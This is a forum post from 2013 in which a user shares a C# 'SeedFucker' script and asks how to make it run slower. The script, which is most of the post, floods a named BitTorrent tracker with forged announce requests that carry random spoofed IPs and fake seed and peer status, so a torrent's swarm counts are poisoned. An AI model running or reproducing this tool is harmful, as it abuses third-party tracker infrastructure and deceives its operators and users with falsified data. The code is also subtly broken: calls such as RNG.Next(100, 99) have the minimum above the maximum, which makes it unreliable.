Sep 21, 2013 11:42 PM
(This post was last modified: Sep 21, 2013 11:45 PM by damadjan_racing.)
Hello I have been watching this forum from some weeks. Its pretty awesome so I decided to register. Enough BS. I have a SeedFucker script. Its working like a charm BUT its working way too fast. For like 30-40 seconds its making like 800/1400 Seed/Peer and I dont want so much
Script is written on C# I think
Script is written on C# I think
Code
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;
namespace SeedFucker
{
class Program
{
static void Main(string[] args)
{
// create a thread pool with 5 threads
List<Thread> tp = new List<Thread>();
for (int i = 0; i < 5; i++)
{
tp.Add(new Thread(TorrentThread));
tp[i].Start();
Thread.Sleep(10);
}
while (true)
{
Thread.Sleep(50);
}
}
static void TorrentThread()
{
// create a web client with a "no cache" policy
WebClient wc = new WebClient();
wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
// the infohash of the torrent we want to poison
string hash = "6D14D5D9FD0C5181C84473D3D3A98D469C20BA1B";
// encode the hash
string hashEncoded = "";
for (int i = 0; i < 20; i++)
{
hashEncoded += "%" + hash[i * 2] + hash[(i * 2) + 1];
}
// enter the main loop
while (true)
{
// generate a random IP address
string ip = GenerateIP();
// create a timestamp for display purposes
string time = "[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] ";
// if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
bool completed = (RNG.Next(0, 3) == 0);
string torrentEvent = (completed ? "completed" : "started");
// pick a random size
int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
// create the url - change the announce url to whatever your particular torrent is using
string url = "http://announce.torrentsmd.com:6969/announce?info_hash=" + hashEncoded + "&peer_id=" + RNG.Next(100, 99).ToString() + RNG.Next(100, 99).ToString() + RNG.Next(100, 99).ToString() + "&port=" + RNG.Next(5000, 32000).ToString() + "&uploaded=0&downloaded=0&left=" + left.ToString() + "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
// attempt the announce
try
{
wc.DownloadData(url);
Console.WriteLine(time + "Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]");
}
catch
{
}
}
}
static string GenerateIP()
{
// generate an IP in the range [50-220].[10-100].[1-255].[1-255]
return RNG.Next(50, 220).ToString() + "." + RNG.Next(10, 100).ToString() + "." + RNG.Next(1, 255).ToString() + "." + RNG.Next(1, 255).ToString();
}
}
class RNG
{
private static Random _rng = new Random();
public static int Next(int min, int max)
{
return _rng.Next(min, max);
}
}
}

